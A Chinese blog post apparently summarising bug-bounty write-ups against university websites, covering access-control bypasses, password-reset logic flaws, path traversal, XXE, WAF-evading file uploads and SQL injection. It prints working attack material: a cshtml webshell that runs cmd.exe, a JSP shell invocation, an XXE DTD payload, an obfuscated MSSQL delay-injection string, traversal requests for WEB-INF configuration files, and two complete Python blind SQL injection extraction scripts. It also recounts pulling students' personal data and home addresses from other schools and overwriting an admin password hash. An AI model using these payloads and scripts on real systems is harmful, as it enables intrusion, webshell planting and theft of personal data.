返回顶部

近期学习文章的整理(超级干货总结分享)

题记

    最近在edusrc上吃瓜,看大佬们互怼,又通过大佬们的名字发现个安全团队的博客,前有小口,仿佛若有光,大量的骚姿势文章让我获益无穷,相见恨晚,故脑中想法盛然,整理成博,总结文章,让我们在前方相遇。最近看到一个新手群的直播,可能是我的技术已经步入初级了,毫无营养,加油吧,少年们。

一、小小小月球大佬的分享

1.1 记一次和厂家相爱相杀

    文章地址:http://0dayhack.net/index.php/25/

    内容:http://xxxxx/index.html?userNo=xxxx链接可以直接登录后台,fofa收集站点,扫备份。黑盒测试发现接口。在接口处通过修改userid可以返回用户信息。通过把链接参数修改为管理员的实现进入管理员后台,在后台处发现ssrf,ssrf特征为http://xxxxxxx/api/imageRe?path=dnslog,厂家修复后再次测试,增加了登陆者身份关系校验,再次绕过,使用空值替换rm参数,形如userId=1&menuRole=SYS004&roleNo=SYS004&cal=381&rm=

    总结:1、修改url参数可造成越权;2、后台留意ssrfsql注入等漏洞;3、注意接口安全,有些情况可以删除参数绕过。

1.2 记一次文件上传绕过Error 500

    文章地址:http://0dayhack.net/index.php/67/

    内容:首先在路边捡一个账号密码,登录后找敏感接口与上传点,发现只是前端检测,成功上传jsp但是java类无法编辑,其他语法可以解析,jsp联合html可以执行

    代码:

<%@ page language="java" contentType="text/html; charset=utf-8"

pageEncoding="utf-8" import="java.io.*"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<title>Insert title here</title>

</head>

<body>

内容

</body>

</html>

    执行:.jsp?cmds=ipconfig

    总结:文件上传后无法解析可以思考下换种编码配合。

1.3 从零开始挖edusrc(一)

    文章地址:http://0dayhack.net/index.php/329/

    内容:(1)信息收集:资产收集,敏感信息收集,旁站C段收集,指纹收集,扫描的话推荐gody(指纹信息)加谷歌语法。(2)一个简单的逻辑漏洞,谷歌语法:site:域名 intext:登录|注册|找回密码|重置密码

    一个任意密码重置漏洞,注册2个用户,修改密码抓包,看到id后不要盲目改id,尝试登录另一个号抓包,对比区别测试。

    总结:活用信息收集,常见漏洞挖不到的话尝试逻辑漏洞,逻辑漏洞最后2个号测试,不要一上来就改,熟悉发包流程。

1.4 从零开始挖edusrc(二)-任意用户密码重置

    文章地址:http://0dayhack.net/index.php/361/

    内容:1、在测试逻辑的时候可以抓包上个操作的返回包进行对比,然后替换。比如你填写正确的验证码返回包是true,但现在你随便填写的验证码返回是false抓返回包吧false改成true,成功找回。

    2、把错误的返回包改成{}会返回正确,但是后端验证了pin码,把pin码设置为空,直接跳过校验。检测验证码有可能是判断pin=xxxx,但=空之后else直接跳过了?不判断参数完整性进行绕过。

    总结:改响应包或者删除参数测试逻辑漏洞。

1.5 从零开始挖edusrc(三)-任意文件下载

    文章地址:http://0dayhack.net/index.php/383/

    内容:https://xxxxxxxxx/NECBSHistory/downloadFileByName?fileName=uploadNEFormAttachPictureWord_7290bb66-4c60-41fc-b701-4940b8560491.jsp&propertyName=uploadNEFormAttachPictureWord这种路径很可能存在任意文件下载,发现地址在上传文件的地方,上传完你可以下载,查看链接就是这个地址。

    下载测试:GET /NECBSHistory/downloadFileByName?fileName=./../../../../WEB-INF/web.xml&propertyName=uploadNEFormConsignerDataWord与GET /NECBSHistory/downloadFileByName?fileName=./../../../../WEB-INF/classes/config/applicationContext.xml&propertyName=uploadNEFormConsignerDataWord HTTP/1.1

    总结:注意上传文件的地方,一不小心就发现个大家伙。

1.6 记一次某开BypassWAF–>GETSHELL

    文章地址:http://0dayhack.net/index.php/455/

    内容:首先测试账号登录,访问个人中心修改头像,先正常思路上传文件,上传文件会先返回一串加密后的值ticket,判断文件名是通过filename+ticket检测,然后就先上传webshell文件获得对应值,发现有安全狗,.html.aspx绕过安全狗,但是上传aspx不行,于是上传.html.ashx,记得免杀。

    总结:账号很重要,上传文件时候aspx不行可以尝试ashx。

1.7 浙大某站BypassWAF–>GETSHELL

    文章地址:http://0dayhack.net/index.php/646/

    内容:1.nodejs+java+ssh前后端分离上传,先上传图片得到jpg,改成jsp拦截,jspx不拦截但是访问地址报错(内容检测),2.绕过内容检测,jspx是以xml语法来书写jsp的文件,掏出jspx大宝贝一顿上传绕过方法jspx+垃圾字符绕过(在注释里填充大量垃圾字符可以绕过检测)。

    总结:java站尝试jspx的绕过,免杀方法:垃圾字符填充。

*1.8 某开的一次SQL注入(bypassWAF)

    文章地址:http://0dayhack.net/index.php/735/

    内容:来自搜索框的SQL注入,如果没waf,可以抓包加*,sqlmap梭哈。这里有waf,手工测试,单引号报错,双引号正常,and 拦截,证明存在注入。大写+/**/绕过。

    总结:单引号双引号测是否有洞,get新姿势,以前我都是-0测的。

*1.9 一次简单的XXE漏洞挖掘

    文章地址:http://0dayhack.net/index.php/1008/

    内容:登录框,先测试弱口令,无果后发现xml传输,也返回xml。判断是否存在xml注入,先输入<root>报错,然后<root></root>,返回xml多半存在漏洞。

验证漏洞:

Poc

组成一个内部声明DTD,这里直接不需要声明xml

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "file:///">

%remote;]>

dnslog

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "dnslog">

%remote;]>

    总结:加深了我对XXE的理解。

1.10 记一次交大简单的getshell(bypass)

    文章地址:http://0dayhack.net/index.php/1113/

    过程:进入后台(果然账号密码限制了我的想象力,大佬在路边随便都能捡到账号密码),找到上传点,百度搜索编辑器,后缀绕过:'ashx和ashx空格,都可绕过。内容检测:垃圾字符+马带走。

    总结:佛了,hacker就是hacker。

1.11 又又又是文件上传(base64上传)

    文章地址:http://0dayhack.net/index.php/1365/

    过程:找到头像上传点,先正常走一遍,发现base64上传。返回png文件,改成ashx发现返回ashx文件。把马转换成base64替换图片base64内容,执行成功。

    总结:原来还能这么干,图片转文件。

1.12 从零开始挖edusrc(四)-任意文件上传

    文章地址:http://0dayhack.net/index.php/1603/

    过程:上传文件直接拿shell,翻翻目录,找到管理员后台与PHPmyadmin,找配置文件发现账号密码,利用日志写入一句话木马,翻到管理员发现密码BCrypt加密,百度随便找个BCrypt加密替换上去(记得要保存管理员的,干完要还回去,毕竟只蹭蹭)$2a$10$2gP3nFQ3eajNzJayX2E5GuQJsEOMIGXl4hWDKdXpeX9pQBUwGJW7m这是123456。进后台上传文件又getshell,并不是头像上传接口了。

    总结:翻翻配置文件没准有惊喜,实在不行直接改密码进后台。

二、望海寺快下课

2.1 接口Fuzz的行为艺术

    文章地址:http://0dayhack.net/index.php/789/

    过程:1、前端源代码中发现一处js文件,login.js,其中夹杂着ajax的请求,其中有一处的checklogin的接口,传参的ID为stuID和schooldID还有Passwd,以此可见此处接口是进行身份验证,回应包里面同时还有data数据,那未授权访问后台概率性不大。同时会发现大部分行为验证都是在此接口进行验证,于是尝试遍历接口的目录,由于知道passwd是用来checklogin的接口使用,就删除其字段。只用stuID和schooldID。一下就跑出了一个getStudent的接口,同时并没有进行鉴权,导致任何用户发送指定的POST数据都可以获取其中数据,正好stuID和schooldID是刚开始大部分接口都有使用到的,也就跑出数据。谷歌语法收集学号会返回内容。知道了此接口,fofa搜索其他站点,用此接口获取其他学校的师生信息,登录就业网,发现其个人绝大部分的信息乃至家庭住址。此系统密码修改的地方还存在越权,虽然有cookie一些列的验证,但是都是用来进行接口的传参,并没有用来鉴权,直接修改目标学号就可以完成任意密码重置。2、请求一个anPhoneTrue的接口,传参值usMobile,返回的是json格式的success:error。直接字典一上跑接口 ,跑出了一个anAdminList*****的接口(账号的传参值直接用F12看登录框的html值),里面存在email,username和修改密码最重要的手机号码,当填入手机号的时候获取验证码尝试是否存在逻辑绕过的时候,居然发现 回应包里存在code,后续就是一样的操作找上传点,jsp免杀,有waf用<!– … –>来注释掉随便填充的垃圾数据导致waf检测不到。

    总结:记得注意接口,getstudent这个接口是利用bp以post传递固定参数,对目标目录下的文件进行字典爆破。

2.2 组合拳杀入教务系统

    文章地址:http://0dayhack.net/index.php/883/

    过程:登录框测试:sql万能密码,查看登录接口是否会返回敏感信息,逻辑绕过,弱口令。根据不同提示进行弱口令爆破,成功获得2个用户。建站用的是asp.net 在所有文件上传处上了几个asp ashx的免杀马,都是无法解析。那就看看有没有其他类型的漏洞,点击编辑页面 寻思着能否发现其他关于教师的敏感信息,发现居然存在口令, 直接利用F12修改一下input中的type类型数值为text。又用管理员账号进行一些信息收集发现 默认密码的提示,同时在那个F12大法的地方,你会发现教师的默认密码为六个0。知道了这些信息,进行对其他系统的撞库(我们撞库肯定是利用一些测试用户,或者系统内置的用户),FOFA大法。打开另一个站,存在验证码,发现拦掉不发送,就不会刷新。这边我们利用在上个系统中收集到类似内置用户和测试用户的账号,密码为六个0和默认密码进行爆破,成功爆破出一个宿舍用户。。

    总结:当一个站有成果或者有waf的时候,可以fofa找类似站点验证。

2.3 记Lower-GetShell

    文章地址:http://0dayhack.net/index.php/1251/

    过程:摸到一个系统,发现存在sql,仅仅用了后端的一些关键字过滤,摸了一会儿发现可以,字节拼接+空格绕过+LIKE绕过。那个登录框直接上sqlmap跑用一些tamper脚本可以跑出来,可以直接用xp_cmdshell。

三、AGONI

3.1 记一次对xxxedu的渗透测试

    文章地址:http://0dayhack.net/index.php/97/

    过程:爆破admin账户,弱口令无果,去注册界面,选择导师的时候出现测试用户名,测试用户登录,修改密码处id改为1越权变成管理员。测试未授权访问删除cookie,对比登录前后cookie,构造cookie成功以超管登录。

    总结:注册界面尝试寻找一些信息,多留意cookie的变化与构造。

3.2 记一次南开大学梅开三度

    文章地址:http://0dayhack.net/index.php/391/

    过程:发现南开某站点登陆界面可以枚举用户,且验证码拦截不会刷新。直接上burp枚举用户名,发现存在guest测试账户,且密码为123456 。成功登陆之后,权限为普通用户权限,测试了一波常见漏洞无果,发现上传居然强改后缀。既然在这里毫无进展,fofa搜索同类型站点。找到一个类似测试站点,直接爆破admin账户。发现存在弱口令,直接以admin账户登录,测试其余功能点,发现其大部分系统功能主要通过get传参,将get传参部分单独拉出来拼接至url链接中,可正常访问(这里需要登录后改链接访问)。越权添加用户,可以操作。

    总结:可先测试同类型网站,事半功倍。

3.3 看我如何通过黑盒测试日下四个证书站

    文章地址:http://0dayhack.net/index.php/756/

    过程:登录框,输入一个不存在的用户名,进行抓包测试。随意输入一个不存在的账户,登陆抓包单独拉出来简单测试一下sql 在用户名处加一个单引号,报错。存在waf,找一个无waf的站点跑payload。在登录的站点测试功能抓包单独拉出来,删除cookie。访问,1、越权查看smtp服务器账户密码,2、查看所有账户,3、越权添加超管。这种意思就是在测试站抓包,修改域名什么的,造成直接修改目标域名的内容。

    总结:测试站点抓包修改请求,绕waf这方面不得不说冰蝎是真的好用啊,冰蝎不行那就脏字符+冰蝎,是真的秒啊。

3.4 记一次文件上传多重bypass

    文章地址:http://0dayhack.net/index.php/1076/

    过程:在某查询界面,随手一加单引号,报错,两个单引号闭合无报错信息,sql注入无疑。继续fuzz一遍,发现目标存在waf,输入一些关键字会被连接重置。不晓得是硬件还是云waf哦,如果是云waf的话可以通过查找真实ip进行运气绕过。例如我之前那个同济的站点就是通过查找真实ip地址进行绕过,另一种呢硬件waf的话,脏字节填充吧。fuzz一遍无果。既然到了这里,还是老规矩,先打其他没有waf的站点搞出payload,再去手动fuzz构造payload:发现可以通过%oa%ob替换空格达到绕过的效果最终payload:1′);–%0a%0b%01%03%04%05%06%07%08%09;%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09Waitfor%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09Delay%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09'00:00:5'%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09–hhhh(只适用于mssql,原理参考链接:http://cnblogs.com/willingtolove/p/11160605.html),进入子站后台,找到上传点,添加上传类型,但是aspx上传会过滤as,那我们就可以考虑一下aasspx 过滤拦截会过滤中间的as,之后会自动拼接a spx,形成aspx的后缀。但是waf站点不行,后思考aspx,net的站点应该是支持cshtml的马的,成功但是只能执行特定命令。

    代码:

@using System.CodeDom.Compiler;

@using System.Diagnostics;

@using System.Reflection;

@using System.Web.Compilation;

@functions {

string ExecuteCommand(string command, string arguments = null)

{

var output = new System.Text.StringBuilder();

var process = new Process();

var startInfo = new ProcessStartInfo

{

FileName = command,

Arguments = arguments,

WorkingDirectory = HttpRuntime.AppDomainAppPath,

RedirectStandardOutput = true,

RedirectStandardError = true,

UseShellExecute = false

};

process.StartInfo = startInfo;

process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);

process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);

process.Start();

process.BeginOutputReadLine();

process.BeginErrorReadLine();

process.WaitForExit();

return output.ToString();

}

}

@{

var cmd = ExecuteCommand("cmd.exe", "/c whoami");

}

Output of the injected command (by Niemand):

@cmd

    总结:aspx.net站点尝试cshtml马。

四、其他

*4.1 简单的sql注入与脚本的编写与4.2 SQL注入-BOOL盲注-一个小细节 作者:太空人

    文章地址:http://0dayhack.net/index.php/1630/http://0dayhack.net/index.php/1724/

过程:第一篇:登录框测试注入点,通过报错知道是mysql数据库,选择时间盲注。cc=1234&pwd=456'and if((length(database())=8),sleep(5),0))–+&key=,了解了原理之后就可以自己编写二分法脚本。第二篇:关注细节,有waf看返回正确与错误确定注入点,测试发现是mssql数据库,因为ban了 waitfor delay。又经过手工测试发现一些没被ban的函数1')and (ascii(substring('a',1,1))=97)--+正常payload 1')and (ascii(substring(({content}),{i},1))-{mid})<1--+。

    脚本1:

# -*- coding:utf-8 -*-

 

import requests

from requests import exceptions

 

url = 'http://ip/CheckUser'

 

def main():

result = ""

for i in range(1, 20):

low = 32

high = 128

while low < high:

mid = int((low + high) / 2)

content = "select user()"

sql = f"123'and if((ascii(substr(({content}),{i},1))<{mid}),sleep(5),0))-- "

data = {

"cc":'123456',

"pwd": sql,

"key":''

}

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://ip", "Connection": "close", "Referer": "http://ip"}

r = requests.post(url=url, data=data,headers=headers)

if r.elapsed.total_seconds() > 5:

high = mid

else:

low = mid + 1

print("[+] After changing we got {} to {}".format(low, high))

if low == high == 32:

print("[*] Result is: {}".format(result))

break

print("[+] Now has {}".format(i))

result += chr(int((high + low - 1) / 2))

print("[*] Result now is: {}".format(result))

 

if __name__ == '__main__':

main()

    脚本2:

# -*- coding:utf-8 -*-

import requests

url = "ip:/???Text="

def main():

result = ""

for i in range(1, 200):

low = 31

high = 128

while low < high:

mid = int((low + high) / 2)

content = "@@version"

sql = f"1')and (ascii(substring(({content}),{i},1))-{mid})<1--+"

payload = url+sql

response = requests.get(url=payload)

if "共18条数据" in response.text:

high = mid

else:

low = mid + 1

print("[+] After changing we got {} to {}".format(low, high))

if low == high == 128 or low == high == 31:

print("[*] Result is: {}".format(result))

break

print("[+] Now has {}".format(i))

result += chr(int((high + low) / 2))

print("[*] Result now is: {}".format(result))

if __name__ == '__main__':

main()

    总结:脚本我还是看得懂的。

3.5 记一次目录遍历带来的惊喜

         文章地址:http://xz.aliyun.com/t/9418

         过程:浏览资源发现教育平台,首先尝试弱口令,弱口令无果后的思路,1、fofa同类型站点爆破出账户,尝试有没有未授权漏洞什么的。2、爆破用户名弱口令,获得权限后深入测试。

         观察返回包,发现不存在session等参数,这种大部分可以登录绕过,换站点用登录成功的账户密码替换返回包,成功绕过限制。账户权限小并且无敏感操作尝试上传测试,首先上传失败。拿御剑开始目录爆破,发现有目录遍历漏洞,发现上传测试页面,但是不返回文件路径,发现是Windows,在文件后缀添加禁止的字符,系统报错返回路径。然后研究命名规则,但是上传的目录不可读,尝试目录穿越,成功拿到shell。

         总结:爆破有时候有奇效。

总结

    Get到各种新姿势,我说大佬们为啥都这么强,不说了,我去把我的通用漏洞整一波了。

posted @ 2021-04-28 16:51  11阳光  阅读(794)  评论(0编辑  收藏  举报